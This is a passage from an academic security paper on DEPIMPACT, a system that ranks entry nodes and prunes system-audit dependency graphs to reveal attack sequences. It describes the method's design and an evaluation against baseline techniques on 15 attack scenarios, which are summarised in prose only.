agation scheme to propagate the dependency impact from the

POI event backward along the edges to all entry nodes. Then,

DEPIMPACT ranks entry nodes based on their dependency

impacts and selects the top candidates. Finally, DEPIMPACT

performs forward causality analysis from the top-ranked entry

nodes and identifies the overlap of the backward dependency

graph and the forward dependency graph as the critical com-

ponent for output.

Threat Model. Our threat model is similar to the threat model

of previous work on system monitoring [28, 30, 31, 38, 48,

49, 54, 55]. We assume that kernel and kernel-layer auditing

framework [19, 59, 69, 73] are part of our trusted comput-

ing base (TCB), and existing software and kernel hardening

techniques [16, 21] can be used to secure log storage. Any

kernel-level attack that deliberately compromises security au-

diting systems is beyond the scope of this work. We assume

an outside attacker that attacks the system remotely (from

outside of the system). Thus, the attacker either utilizes the

vulnerabilities in the system or convinces the user to down-

load a file with malicious payload.

We do not consider the attacks performed using implicit

flows (e.g., side channels) or inter-procedural communica-

tions (IPC) that do not go through kernel-layer auditing and

thus cannot be captured by the underlying provenance tracker.

Finer-grained auditing tools that capture memory traces or

program analysis techniques can be used to address these

types of the attacks and it is not the focus of this work. We

also do not consider mimicry attacks [76] where attackers de-

liberately evade intrusion detection systems through a chain

of events that seem benign in enterprises. Existing intrusion

detection systems [17, 51, 64] often rely on heuristics or anal-

ysis based on the properties of a single event, and thus are

vulnerable to such attacks. While detecting mimicry attacks is

the limitation of the detection systems, it is beyond the scope

of this work since our focus is to identify the relevant events

as the contextual information for the alerts generated by the

detection systems.

4 Design of DEPIMPACT

In this section, we present the design details of each phase

shown in Figure 2. Specifically, Section 4.1 describes how

DEPIMPACT collects system audit logs and generates a de-

pendency graph, Section 4.2 describes how DEPIMPACT com-

putes the weight for each edge in the dependency graph to

generate a weighted dependency graph, and Section 4.3 de-

scribes how DEPIMPACT identifies critical components based

on the weighted dependency graph.

4.1 Dependency Graph Generation

In Phase I, DEPIMPACT leverages system monitoring to col-

lect auditing logs of system activities and applies causality

analysis on the collected logs to generate a dependency graph

based on the given POI events.

4.1.1 System Auditing

DEPIMPACT leverages mature system auditing frame-

works [19,59,69,73] to collect system audit logs about system

calls from the kernel. DEPIMPACT then parses the collected

logs to build a global system dependency graph, where nodes

represent system entities and edges represent system (call)

events. In particular, DEPIMPACT focuses on three types of

system entities/events: (i) file access, (ii) process creation

and destruction, and (iii) network access. Table 3 shows the

representative system calls (in Linux) processed by DEPIM-

PACT. Failed system calls are filtered out by DEPIMPACT, as

processing them will cause false dependencies among events.

Tables 1 and 2 show the representative attributes of entities

and events extracted by DEPIMPACT. Following the existing

work [30, 31, 55], to uniquely identify entities, for a process

entity, we use the process name and PID as its unique iden-

tifier. For a file entity, we use the absolute path as its unique

identifier. For a network connection entity, we use 5-tuple

(〈srcip, srcport, dstip, dstport, protocol〉) as a network con-

nection’s unique identifier. Failing to distinguish different
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Figure 2: Architecture of DEPIMPACT

entities causes problems in relating events to entities and

tracking the dependencies among events.

4.1.2 Backward Causality Analysis

Given a POI event, DEPIMPACT performs backward causality

analysis (Section 2.2) to generate a local backward depen-

dency graph Gd for the POI event. Briefly speaking, back-

ward causality analysis adds the POI event to a queue, and

repeats the process of finding eligible incoming edges of the

edges/events (i.e., incoming edges of the source nodes of

edges) in the queue until the queue is empty. The output of

Phase I is a backward dependency graph that only contains

system events (and associated entities) and that are causally

dependent on the POI event.

4.2 Dependency Weight Computation

In Phase II, DEPIMPACT first merges parallel edges between

two nodes in the dependency graphs, and compute the weights

of the edges using three types of features, including timing,

data flow amount, and node degree. Based on these features,

DEPIMPACT clusters edges into two groups and leverages

LDA to compute a weight score such that the weight dif-

ferences of the edges in these two groups are maximized.

The final step of the weight computation is to normalize the

weights of all outgoing edges for each node. This step miti-

gates the weight degradation for the edges that are far from

the POI events.

4.2.1 Edge Merge

The dependency graph produced by causality analysis often

has many parallel edges between two nodes [78]. The rea-

son is that OS typically finishes a read/write task (e.g., file

read/write) by distributing the data proportionally to multi-

ple system calls. Inspired by the recent work for dependency

graph reduction [78], DEPIMPACT merges the edges between

two nodes if the time differences of these edges are smaller

than a given threshold. We tried different values for the merge

threshold and selected 10s, as it gives reasonable results in

merging system calls for file manipulations, file transfers, and

network communications, which is consistent with [78].

4.2.2 Feature Extraction

For each edge, DEPIMPACT extracts three features to com-

pute a dependency weight, enabling DEPIMPACT to address

scenarios where a single feature (e.g., data flows) cannot be

used to distinguish critical edges.

Data Flow Relevance fS(e). Intuitively, edges that have simi-

lar data flow amount as the data size of the entities in the POI

event are more likely to be relevant. As such, we design fea-

ture fD(e) to model the data flow relevance of an edge e(u,v)

to the POI event:

fS(e) = 1/(| se− ses |+α) (1)

where se and ses represent the data flow amount associated

with the edge e and the POI event es. The smaller the differ-

ence | se− ses |, the higher the data flow relevance fS(e). Note

that we use a small positive number α (we set α = 1e−4) to

handle the special case when e is the POI event: POI event

has the highest feature value fS(es)
= 1/α.

Temporal Relevance fT (e). Intuitively, edges that occurred

at relatively the same time are more likely to be relevant. As

such, we design feature fT (e) to model the temporal relevance

of an edge e(u,v) to the POI event:

fT (e) = ln(1+1/ | te− tes |) (2)

where t
(e) and tes represent the timestamp values (we use the

event end time) of the edge e and the POI event es. The smaller

the difference | te− tes |, the higher the temporal relevance

fT (e). To handle the special case when e is the POI event

(i.e., | te− tes |= 0), we use one tenth of the minimal time unit

(nanosecond) in the audit logging framework (i.e., 1e-10) to

compute its feature value: fT (es)
= ln(1+1e10). This ensures

that the POI event has the highest feature value.

Concentration Ratio fC(e). In the backward causality anal-

ysis, if the number of source nodes that can be traced from

a node v is 1 (i.e., only one incoming edge from v), we say

that the dependency represented by this edge is highly con-

centrated for v. Also, we would like to give higher weights

to the node that can be reached from multiple paths in the

backward direction. Thus, we define the concentration ratio

for the edge e(u,v) as:

fC(e) = OutDegree(v)/InDegree(v) (3)
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Here, InDegree(v) and OutDegree(v) represent the in-

degree and out-degree of the sink node v.

4.2.3 Dependency Weight Computation

To compute a dependency weight from the features, DEPIM-

PACT leverages linear projection that is known for high inter-

pretability and low computational cost [26]. Instead of directly

taking the average, DEPIMPACT employs a discriminative fea-

ture projection scheme based on Linear Discriminant Analysis

(LDA) [60] to compute a projection vector to maximize the

differences between critical edges and non-critical edges, with

critical edges assigned with higher weights. Next, we present

the scheme in detail.

Step 1: Edge Clustering. In the first step, DEPIMPACT lever-

ages clustering to separate edges into two groups: one is

likely to contain critical edges, and the other for non-critical

edges. Specifically, DEPIMPACT first normalizes features to

0-1 range [26], and then employs Multi-KMeans++ clustering

algorithm [15], which improves over standard KMeans algo-

rithm on initial seeds selection and clustering robustness. We

choose k = 2 since we want to cluster edges into two groups,

as required by LDA. We experimented a range of values for n

([5,30]) and chose n = 20 as it delivers the best clustering re-

sults without much overhead. While the clustering results can

be used to directly distinguish critical and non-critical edges,

such approach will suffer from the same problem as global

weights [38], which is shown to be ineffective in Section 5.2.

Step 2: Discriminative Feature Projection. Given two

groups of edges, DEPIMPACT leverages Linear Discriminant

Analysis (LDA) [60] to compute an optimal projection vec-

tor that maximizes the separation between group projections.

LDA finds the optimal projection plane such that the pro-

jected points in the same group are close to each other, and

the projected points in different groups are far from each

other. Formally, LDA finds the projection vector ω that max-

imizes the Fisher criterion, J(ω) =
ω

T Sbω

ωT Swω
, where Sb and Sw

are between-group scatter matrix and within-group scatter

matrix, respectively. Solving the optimization problem yields:

ω
∗
= argmaxJ(ω) = S−1

w (µ1−µ2) (4)

Denote the solution to Equation (4) as ω
∗
= [ω

∗
S ω
∗
T ω
∗
C]

T .

For an edge e, its unnormalized weight WeUN
is computed as:

WeUN
= ω

∗
S fS(e)+ω

∗
T fT (e)+ω

∗
C fC(e) (5)

One remaining issue is that Equation (4) does not guarantee

the direction of the projection vector, and it might be possible

that critical edges have lower weights than non-critical edges.

To address the issue, we leverage the observation that, in most

cases, the number of critical edges is significantly less than

the number of non-critical edges (as can be seen from attack

cases in Section 5.1). Specifically, we negate the direction of

the projection vector if the average of the projected weights

Algorithm 1: Dependency Impact Propagation

Input: Weighted dependency graph, G

threshold, δ

Output: Weighted dependency graph, G; nodes are

associated with dependency impact scores

1 POI.score← 1

2 while di f f > δ do

3 di f f ← 0

4 for ∀u ∈ G do

5 if u is POI then

6 continue

7 else

8 res← 0

9 for ∀v ∈ G.childNodes(u) do

10 res += v.score∗G.edge(u,v).weight

11 di f f += |u.score− res|

12 u.score← res

for a smaller edge group (likely to be the group of critical

edges) is smaller. As shown in Section 5.4, compared to the

naive approach of taking the average of features (the average-

projection approach), our feature projection scheme preserves

as much of the group discriminatory information as possible

and leads to better performance for entry node ranking.

Step 3: Edge Weight Normalization. For an edge e(u,v),

we normalize its projected weight by the sum of weights of

all outgoing edges of the source node u:

We =WeUN
/ ∑

e′∈outgoingEdge(u)

We′UN
(6)

The rationale behind is to ensure that for each node, the

weights of all its outgoing edges are in the range [0.0,1.0]

and the sum of the weights is equal to 1.0. Coupled with

our score propagation scheme for dependency impact (Sec-

tion 4.3), such way of normalization ensures that (1) the de-

pendency impact of any node does not exceed the maximum

dependency impact of its child nodes, and (2) the dependency

impact of any node does not exceed the dependency impact of

the nodes in the POI event (i.e., 1.0). The output of Phase II

is a weighted backward dependency graph for the POI event,

in which the dependency weights encode the differences be-

tween critical edges and non-critical edges.

4.3 Critical Component Identification

In Phase III, given the weighted dependency graph computed

in Phase II, DEPIMPACT propagates the dependency impact

from the POI event to the entry nodes based on the depen-

dency weights. DEPIMPACT then ranks entry nodes based on

the dependency impacts and performs forward analysis from

the top-ranked entry nodes to identify the critical component

from the dependency graph.
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4.3.1 Dependency Impact Back-Propagation

Given a weighted dependency graph, DEPIMPACT propagates

the dependency impact from the POI event to all other nodes

backward along the weighted edges. The dependency impact

for the nodes (both source node and sink node) in the POI

event is 1.0 by default. For a node u, its dependency impact is

iteratively updated by taking the weighted sum of dependency

impacts of its child nodes:

DIu = ∑
v∈childNodes(u)

DIv ∗We(u,v) (7)

where DIu denotes the dependency impact of node u and

We(u,v) denotes the dependency weight (after normalization)

of edge e(u,v). Such score propagation scheme guarantees

that the score of any node does not exceed the maximum score

of its child nodes, and the score of any node does not exceed

the score of the nodes in the POI event. Furthermore, com-

pared to the distribution-based score propagation algorithms

like PageRank [65], our scheme preserves the scores along

long dependency paths and prevents fast degradation.

Algorithm 1 illustrates our dependency impact score propa-

gation algorithm. In each iteration, the algorithm updates the

dependency impact score of each node by taking the weighted

sum of the scores of all its child nodes (Line 10), and com-

putes the sum of score differences for all nodes (Line 11).

The propagation terminates when the aggregate difference

between the current iteration and the previous iteration is

smaller than a threshold, δ (Line 2), indicating that the scores

of all nodes have reached a stable point. We set δ = 1e-13 as

it gives robust results from our evaluations.

4.3.2 Entry Node Ranking

After dependency impact propagation, DEPIMPACT ranks the

entry nodes based on their dependency impacts. The intuition

behind entry node ranking is that entry nodes with higher

dependency impacts are more related to the POI event and are

more likely to be the attack entries, and thus their descendant

nodes and associated edges are more likely to be included in

the critical component. Specifically, we classify entry nodes

into three categories: (1) file entry node: file nodes that do

not have incoming edges except system libraries; (2) process

entry node: process nodes whose parent nodes are all system

libraries; (3) network entry node: network nodes that do not

have incoming edges. In particular, system library files are

typically loaded by certain processes, and do not have incom-

ing edges on the dependency graph [74]. Thus, for system

library nodes, we take the process nodes that load them as

entry nodes. We then select the top-ranked entry nodes from

each category.

4.3.3 Critical Component Identification

From the top-ranked entry nodes, DEPIMPACT performs for-

ward causality analysis until reaching the POI event. As a

final step, DEPIMPACT identifies the overlap of the backward

dependency graph and the forward dependency graph as the

critical component for output. Compared to the original large

backward dependency graph, the critical component contains

the parts of dependencies that are actually relevant to the POI

event and its size is significantly reduced. Furthermore, the

critical component illustrates how the attack-relevant infor-

mation flows from attack entries to the POI event through

critical edges, which facilitates further attack investigation.

5 Evaluation

We built DEPIMPACT (∼20K lines of code in Java) upon

Sysdig [73], and evaluate DEPIMPACT using both the attack

cases constructed based on the known exploits [23,52,55,78]

and the attack cases collected by the DARPA Transparent

Computing (TC) program [22]. In the evaluations, we aim to

answer the following research questions:

• RQ1: How effective is DEPIMPACT in revealing attack

sequences in comparison with other state-of-art techniques?

• RQ2: How many top-ranked entry nodes should be used in

DEPIMPACT for revealing attack sequences?

• RQ3: How effective is DEPIMPACT in revealing attack

entries?

• RQ4: How efficient is DEPIMPACT in investigating an at-

tack?

5.1 Evaluation Setup

We deployed Sysdig [73] on 5 Linux hosts to collect system

auditing events and then applied DEPIMPACT to perform at-

tack investigation. DEPIMPACT is executed on a server with

an Intel(R) Xeon(R) CPU E5-2637 v4 (3.50GHz), 256GB

RAM running 64bit Ubuntu 18.04.1. For investigating the

attack cases based on the known exploits, we performed 10

attacks in the deployed environment: 7 attacks based on com-

monly used exploits and 3 multi-host and mutli-step intrusive

attacks based on the Cyber Kill Chain framework [11] and

CVE reports [63]. The deployed hosts have 12 active users

with hundreds of processes, and are used for various types of

daily tasks such as file manipulation, text editing, and soft-

ware development, which are representative of real-world

usage. During evaluation, the deployed hosts continue to re-

sume their routine tasks to emulate the real-world deployment

where irrelevant system activities and attack activities co-exist.

The routine tasks on these machines ensure that enough noise

of irrelevant system activities is collected. In total, the real

system audit logs collected in our deployed hosts contain

∼100 million events. The DARPA dataset includes system

audit logs collected from 5 hosts with different OS systems.
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Table 4: Statistics of dependency graphs generated for all the 15 attacks

Attack Causality Analysis # V Causality Analysis # E Edge Merge #V Edge Merge # E Entry Nodes Critical Edge Attack Entries POI

Wget Executable 126 673 126 363 46 8 2 ∼50MB

Illegal Storage 8,450 93,085 8,450 62,073 960 6 2 ∼50MB

Illegal Storage2 42,450 658,913 42,450 378,326 3,499 4 2 ∼50MB

Hide File 194,208 6,464,098 194,208 3,273,769 35,203 12 2 ∼50MB

Steal Information 195,636 6,493,626 195,636 3,291,208 35,213 4 2 ∼50MB

Backdoor Download 7,510 69,479 7,510 60,390 157 8 2 ∼50MB

Annoying Server User 114 585 114 318 34 10 2 ∼50MB

Shellshcok 1,648 20,332 1,648 3,600 1,273 30 3 124B

Dataleak 407 2,262 407 1,152 234 18 3 7.1KB

VPN Filter 1,195 5,212 1,195 1,879 999 10 2 1.6KB

Five Dir Case1 240 272 240 272 232 2 1 50.78KB

Five Dir Case3 5,907 78,075 5,907 78,075 879 4 1 121.85KB

Theia Case1 184,352 816,277 184,352 816,277 151,827 8 2 166.78KB

Theia Case3 334,441 1,500,717 334,441 1,500,717 282,651 6 2 166.64KB

Trace Case5 263 971 263 971 28 3 1 95.KB

AVG 65,129.80 1,080,305.13 65,129.80 631,292.67 34,215.67 8.87 1.93 –

We developed a tool to parse the released logs and loaded the

events into our databases. In total, the DARPA dataset used in

our evaluation contains ∼50 million events. We next describe

these attacks in detail.

5.1.1 Attacks Based on Commonly Used Exploits

These 7 attacks are used in prior work’s evaluations [23, 52,

55, 78], which consist of the following scenarios:

• Wget Executable: A vulnerable server allows the attacker to

download executable files using wget. The attacker down-

loads python scripts and executes the scripts.

• Illegal Storage: A server administrator uses wget to down-

load suspicious files to a user’s home directory.

• Illegal Storage 2: A server administrator uses curl to down-

load suspicious files to a user’s home directory.

• Hide File: The goal of the attacker is to hide malicious file

among the user’s normal files. The attacker downloads the

malicious script and hides it by changing its file name and

location.

• Steal Information: The attacker steals the user’s sensitive

information and writes the information to a hidden file.

• Backdoor Download: A malicious insider uses the ping

command to connect to the malicious server, and then down-

loads the backdoor script from the server and hides the

script by renaming it.

• Annoying Server User: The annoying user logs into other

user’s home directories on a vulnerable server and writes

some garbage data to other user’s files.

5.1.2 Multi-host Intrusive Attacks

These 3 multi-host intrusive attacks capture the important

traits of attacks depicted in the Cyber Kill Chain frame-

work [11] and CVE [63]. In these 3 attacks, the attacker

uses an external host, referred to as the C2 (Command and

Control) server, to perform penetration, distribute malware,

and receive data. The first host that is compromised by the

attack is called Host 1, which is a starting point to perform

lateral movement and other malicious actions to compromise

more hosts inside the network (i.e., Host 2, . . . , Host n).

Attack 1: Shellshock Penetration. After the initial shell-

shock penetration at Host 1, the attacker connects to Cloud

services (e.g., Dropbox, Twitter) and downloads an image

where C2 server’s IP address is encoded in the EXIF meta-

data. The behavior is a common practice shared by APT

attacks [14, 25] to evade the network-based detection sys-

tem based on DNS blacklisting. Based on the IP, the attacker

downloads a malware from the C2 server to Host 1. When

the script is executed, it scans the ssh configuration file to

locate reachable hosts in the network, discovering Host 2,

Host 3, and Host 4. After this discovery phase, the malware

downloads another script from the C2 server and sends it to

these discovered hosts and steals password from them.

Attack 2: Data Leakage After Shellshock Penetration. Af-

ter the previous reconnaissance, the attacker downloads an-

other malware, leak_data.sh, from the C2 server and sends

it to Host 2. The malware scans for hidden files and files

containing sensitive strings, and compresses them in a tarball

leak.tar.bz2. The malware then transfers the tarball back to

Host 1. On Host 1, the tarball is encrypted and uploaded to

the Internet.

Attack 3: VPN Filter. At this stage, the attacker seeks to

maintain a direct connection to the victim hosts from the

C2 server. He utilizes the notorious VPN Filter malware [7]

which infected millions of IoT devices by exploiting a number

of known or zero-day vulnerabilities [4, 5]. After the initial

penetration on Host 1 and discovery of Host 2, the attacker

downloads the VPN Filter stage 1 malware from the C2 server

to Host 1 and transfers it to Host 2. This malware then down-

loads another executable from the C2 server, and executes it to

launch the attack and establish a connection to the C2 server.

Using this connection, the attacker transfers a malicious script

to Host 2 which will gather sensitive data on Host 2.
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5.1.3 DARPA TC Attack Cases

The dataset released by the DARPA TC program contains

attack cases performed on different operating systems. Based

on the attack descriptions provided in the dataset, we excluded

the attack cases that fail to launch the attacks, and the attack

cases on the Android system since mobile applications’ be-

haviors are constrained by the Android sandbox and are not

suitable for our analysis. We also excluded the phishing e-mail

attacks since most of their operations are through clicking

links in the browsers and leave limited traces in the system

audit logs. In total, we chose five attacks that target different

operating systems (Linux, Windows) and exploit different vul-

nerabilities (Firefox backdoor and browser extensions). These

attack cases span multiple days (e.g., Theia data contains logs

for 8 days).

5.1.4 Obtaining Ground Truth for the Attacks

For the attack cases performed on our hosts, we identified

the POI events based on the performed attacks and applied

backward causality analysis from the POI events to obtain the

system dependency graphs. For the attack cases in the DARPA

dataset, we queried the databases that are loaded with the logs

to identify the POI events based on the attack description, and

applied backward causality analysis from the POI events to

obtain the system dependency graphs. For the attacks involv-

ing multiple hosts, DEPIMPACT performs cross-host causality

analysis based on the existing techniques [49, 55], which

produces causality graphs that include special network con-

nection edges to represent connections among multiple hosts.

Finally, within our best efforts, we manually ensured that the

critical edges and the attack entries were identified based

on the knowledge of the performed attacks and the attack

descriptions in these system dependency graphs.

Table 4 shows the statistics of the generated dependency

graphs for the attacks. Columns “Causality Ana. # V” and

“Causality Ana. # E” show the number of nodes and edges

after performing the causality analysis from the POI events.

Columns “Edge Mer. # V” and “Edge Mer. # E” show the

number of nodes and edges after applying edge merges (Sec-

tion 4.2.1). Columns “Entry Nodes” and “Critical Edge” show

the number of entry nodes and critical edges of the depen-

dency graphs. Column “Attack Entries” shows the number of

entry nodes that are labelled as attack entries. Column “POI”

shows the data size of the files in the POI events. We clearly

observe that even after edge merges, there still remains a large

number of edges in the dependency graphs (631K on average

with the max being 3.3 million edges), which motivates the

further pruning provided by DEPIMPACT. Moreover, in these

15 attacks, the files in the POI events have diversified sizes,

ranging from 124 bytes to 50M bytes, and on average, there

are 42,757 edges (with the max being 962,706) that have

similar data sizes as the files in the POI events. Thus, directly

using the data flow amount to reveal attack sequences will

include lots of irrelevant edges in the results, which motivates

DEPIMPACT to combine multiple features for computing edge

weights to achieve better performance.

Evaluation Metrics. Besides measuring false positives (de-

tected edges that are not critical edges) and false negatives

(missing edges that are critical edges), we compute the false

negative rate FNR = FN/Ec, where FN represents the num-

ber of false positives and Ec represents the number of critical

edges (Column “Critical Edge” in Table 4), and the false pos-

itive rate FPR = FP/Etotal , where FP represents the number

of false positives and Etotal represents the number of edges

from the Column “Edge Merge # E” in Table 4.

5.2 RQ1: Revealing Attack Sequences

To demonstrate the effectiveness of DEPIMPACT in reveal-

ing the attack sequence by pruning non-critical edges, we

compare DEPIMPACT with 4 state-of-the-art techniques:

CPR [78], ReadOnly [54], PrioTracker [55], and NoDoze [38].

For each attack, DEPIMPACT ranks the entry nodes based on

their dependency impacts and chooses the nodes one by one

based on the ranks to perform forward causality analysis;

DEPIMPACT stops choosing new nodes if the newly chosen

node causes the critical component to include significantly

more edges (i.e., 1% of the total edges of the dependency

graphs). CPR merges edges between two nodes if the time

differences between the edges are within a threshold (i.e., 10

seconds). ReadOnly removes the edge whose source node is

the read-only file. PrioTracker mainly uses the fanout of nodes

to prioritize the dependencies in the causality analysis. We

then adapt the computed priories as the dependency weights

for edges and filter the edges with low weights. NoDoze as-

signs an anomaly score for each edge based on the frequency

of the corresponding system event, and then computes the

anomaly score for each path. As NoDoze requires an execute

profile, we use the daily log file of the deployed system as the

execution profile for the attacks in our deployed hosts, and

use the normal events in the logs (except the events whose

observed time are within the attack period) for the attacks in

the DARPA TC dataset. Based on the ground truth of each

attack, we manually assign lower reputation scores for the

malicious files and IP addresses as required by NoDoze. Once

NoDoze finishes computing the anomaly scores for the whole

graph, we perform the graph reduction based on the anomaly

score of each path in the dependency graph.

Table 5 shows the dependency graph reduction of DEPIM-

PACT and the other techniques. The results show that DEPIM-

PACT achieves the best performance for dependency graph

reduction. On average, the size of the dependency graph gen-

erated by DEPIMPACT (i.e., the critical component output by

DEPIMPACT) is at least 72× smaller than the second-best

result (i.e., NoDoze) and three or four orders of magnitudes

smaller than the other 3 techniques. Moreover, DEPIMPACT

does not lose any critical edges as other techniques. We next
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Table 5: Dependency graphs generated by each technique

Attack
CPR ReadOnly Priotracker NoDoze DepImpact

FP FN # Edges FP FN # Edges FP FN # Edges FP FN # Edges FP FN # Edges

Wget Executable 355 0 363 50 0 58 50 0 58 283 3 288 45 0 53

Illegal Storage 62067 0 62073 16206 1 16211 6943 1 6948 10254 0 10260 71 0 77

Illegal Storage2 378322 0 378326 89775 0 89779 37108 0 37112 19509 1 19512 624 0 628

Hide File 3273757 0 3273769 613294 3 613303 114604 2 114614 37241 2 37251 797 0 809

Steal Information 3291204 0 3291208 618021 0 618025 115219 0 115223 20423 1 20426 854 0 858

Backdoor Download 60382 0 60390 15982 0 15990 6017 1 6024 261 0 269 121 0 129

Annoying Server User 308 0 318 46 0 56 31 2 39 219 2 227 14 0 24

Shellshcok 3570 0 3600 577 17 590 493 5 518 885 4 911 444 0 474

Dataleak 1134 0 1152 220 7 231 199 6 211 673 4 687 214 0 232

VPN Filter 1869 0 1879 290 2 298 238 4 244 208 1 217 59 0 69

Five Dir Case1 270 0 272 17 1 18 17 1 18 255 0 257 8 0 10

Five Dir Case3 78071 0 78075 77824 4 77824 7493 1 7496 595 1 598 29 0 33

Theia Case1 816269 0 816277 325459 8 325459 176794 2 176800 151233 1 151240 54 0 62

Theia Case3 1500711 0 1500717 537424 6 537424 269274 3 269277 9010 1 9015 46 0 52

Trace Case5 968 0 971 910 3 910 458 2 459 509 2 510 1 0 4

AVG 631283.80 0.00 631292.67 153073.00 3.47 153078.40 48995.87 2.00 49002.73 16770.53 1.53 16777.87 225.40 0.00 234.27

/home/admin/clean

firefox

fluxbox

IP-1 ->IP-2

/dev/glx_alsa_675

IP-1 ->IP-2

Critical edges

firefox

......

......

firefox

xxx/cookies.sqlite-well

xxx/cookies.sqlite

POI

Figure 3: Critical component generated by DEPIMPACT

for the “Theia Case 1” attack

explain the comparison with each technique.

CPR merges only the edges between pairs of nodes, and

thus lack the capabilities to prune irrelevant edges originated

from irrelevant system activities. Removing read-only files

is heuristics-based and cannot robustly achieve good perfor-

mance for different attacks as illustrated by the results (e.g., 58

for the “Wget executable” attack v.s. 600,000+ for the “Hide

File” attack). The comparison with PrioTracker shows the su-

periority of our discriminative feature projection scheme over

the fanout feature in PrioTracker. From the results, we can

observe that NoDoze performs generally well but poorly for

certain attacks (e.g., producing graphs with > 10,000 edges

for 5 attacks) The major reason is that there are many rare

benign events in these dependency graphs that do not appear

in the execution profiles. In other words, the effectiveness

of NoDoze heavily relies on whether the execution profile

can capture all the benign events, which is generally difficult

since the runtime environment of most organizations are dy-

namic and versatile. On the other hand, compared to NoDoze,

DEPIMPACT achieves better reduction results without sharing

its two major limitations: (1) DEPIMPACT does not rely on

third-party services to assign reputations to malicious files or

IP addresses; (2) DEPIMPACT does not require the execution

profile of the deployed system for training. These characteris-

tics greatly reduce the difficulty of deploying DEPIMPACT in

a new system, enabling DEPIMPACT to achieve better gener-

alization than NoDoze.

Table 6: Results of “Backdoor Download” attacks

Firefox Tabs 0 Tabs 1 Tab 5 Tabs 10 Tabs

FPR 0.15 0.16 0.19 0.21

FNR 0.00 0.00 0.00 0.00

Impacts of Background Behaviors. To better evaluate DE-

PIMPACT’s performance when substantial background benign

behaviors are mixed with attack behaviors for some applica-

tions, we launched Firefox browsers with different number

of open tabs and performed the “Backdoor Download” attack

on the Firefox browsers. The open tabs perform different

types of benign behaviors, such as loading/update pages and

JavaScript running, simulating the commonly seen benign

behaviors. We then applied DEPIMPACT to investigate these

attacks and the results are shown in Table 6. We can see that

when the open tabs increase from 0 to 10, the false positive

rates have a slight increase (from 0.15 to 0.21) and the false

negatives rates remain 0.0. Such results show the performance

of DEPIMPACT is not significantly affected by the workloads

of complex software.

Case Study. Figures 3 and 4 show the critical components of

two attacks. We use solid lines to represent critical edges, dash

lines to represent non-critical edges. POI events are clearly

marked with text descriptions.

Figure 3 shows the critical component generated by DE-

PIMPACT for the “Theia Case 1” attack in the DARPA TC

dataset. We can observe that the Firefox browser is started to

download the file /home/admin/clean from a malicious IP ad-

dress. Here, the IP addresses (i.e., the source of the backdoor)

are correctly identified as attack entries, and all the critical

edges are preserved.

Figure 4 shows the 3 critical components generated by DE-

PIMPACT for the “Shellshock” attack. The critical component

of POI I (step ①) shows that Host 1 first downloads a mali-

cious script from the C2 server, and then sends a malicious

script /tmp/crack_password.sh to Host 2 through the process

scp. Then, this malware collects user sensitive data in Host

2 and sends this data back to Host 1 through the process scp

(step ②). After this step, the sensitive data is compressed in

Host 1 and sent back to the C2 server (③). For this graph, the
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Figure 4: Critical components generated by DEPIMPACT for the “Shellshock” attack (non-critical edges are omitted).

DEPIMPACT generates critical components for the three POI events and takes the union of the generated critical com-

ponents, which covers all the attack steps as described in Section 5.1.2.
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Figure 5: False negative using different number of top-

ranked entry nodes

union of the 3 critical components in 2 hosts covers all the

critical edges. In particular, the two special network connec-

tion edges in steps ① and ② enable the cross-host dependency

tracking for revealing attack sequences.

5.3 RQ2: Selection of Entry Nodes

Intuitively, the more entry nodes DEPIMPACT uses to perform

forward causality analysis, the less likely DEPIMPACT will in-

correctly filter out critical edges. But using more entry nodes

is likely to produce more false positives in the output graph.

To demonstrate the effectiveness of selecting the top-ranked

entry nodes in revealing attack sequences, we show how the

increase of the selected entry nodes impacts the effective-

ness of DEPIMPACT in terms of FPR and FNR. DEPIMPACT

chooses the top-ranked entry nodes in each of three system-

entity categories and perform forward causality analysis from

the nodes in the order of decreasing dependency impacts.

Impacts on FPRs and FNRs. Figure 5 and Figure 6 show the

impacts of top entry nodes on FPRs and FNRs. As expected,

when more entry nodes are used, the FNR decreases while the

FPR increases. We can notice that when the FNR becomes

zero (using 2−6 nodes in different attacks), if DEPIMPACT

continues to utilize more entry nodes to do the forward analy-
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Figure 6: False positive using different number of top-

ranked entry nodes

sis, FPR will increase significantly. Based on this observation,

we suggest that DEPIMPACT stops choosing more entry nodes

when including one more entry node for forward analysis will

result in a significant increase of the critical component.

5.4 RQ3: Revealing Attack Entries

In this RQ, we aim to measure the effectiveness of DEPIM-

PACT in revealing attack entries (i.e., whether the attack en-

tries are among the top-ranked entry nodes). Specifically, we

compare DEPIMPACT with 4 baseline approaches: the uni-

form random approach, 2 simplified versions of DEPIMPACT:

DEPIMPACT-, DEPIMPACT--, and the average-projection ap-

proach. The uniform random approach ranks all the entry

nodes randomly. DEPIMPACT- uses the temporal relevance

and the data flow relevance to compute the dependency

weight, but not the concentration ratio. DEPIMPACT-- uses

only the temporal relevance to compute dependency weights.

The average-projection approach uses a fixed parameter vec-

tor (0.334,0.333,0.333) to compute dependency weights.

Table 8 shows the average ranks of all the attack entries

computed by DEPIMPACT and the baseline approaches. We

observe that DEPIMPACT consistently ranks the attack en-

tries at the top (average rank 2.41) and achieves the best
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Table 7: Runtime performance of DEPIMPACT and baseline approach

Dependency Weight Computation (s) Dependency Impact Propagation (s)
Attack Causality Ana.(s) Edge Merge(s)

DEPIMPACT Avg. Proj. DEPIMPACT Avg. Proj.
NoDoze(s)

Wget Executable 120.97 0.05 0.26 0.02 0.06 0.06 1.55

Illegal Storage 92.86 0.38 7.43 0.39 19.48 47.77 173.65

Illegal Storage2 95.13 3.02 52.68 33.79 160.08 1,038.55 329.31

Hide File 223.63 42.16 463.68 16.14 1,150.35 8,486.32 899.29

Steal Information 129.82 39.51 479.02 15.98 1,157.45 8,128.28 620.87

Backdoor Download 19.74 0.44 13.87 0.32 12.75 24.05 0.71

Annoying Server User_user 17.23 0.01 0.18 0.01 0.03 0.03 0.44

Shellshcok 0.05 0.03 0.07 0.01 0.02 0.06 0.08

Dataleak 0.09 0.01 0.28 0.02 0.14 0.16 0.01

VPN Filter 0.28 0.04 0.35 0.03 0.11 0.14 0.07

Five Dir. Case1 0.81 0.01 0.10 0.01 0.04 0.02 0.02

Five Dir. Case3 2.38 0.29 9.68 0.12 1.93 2.21 39.50

Theia Case1 73.28 8.75 276.80 1.88 289.77 191.85 30.36

Theia Case3 106.17 8.34 498.81 3.06 561.95 391.96 65.88

Trace Case5 1.92 0.01 0.14 0.01 0.11 0.01 0.54

AVG 58.96 6.87 120.22 4.78 223.62 1,220.77 144.15

Table 8: Average rank of attack entries
Attack Temp. Relv. Temp & Data Size Fiexd Proj. Uni. Random DEPIMPACT

Wget Executable 5.50 12.25 20 23.45 2

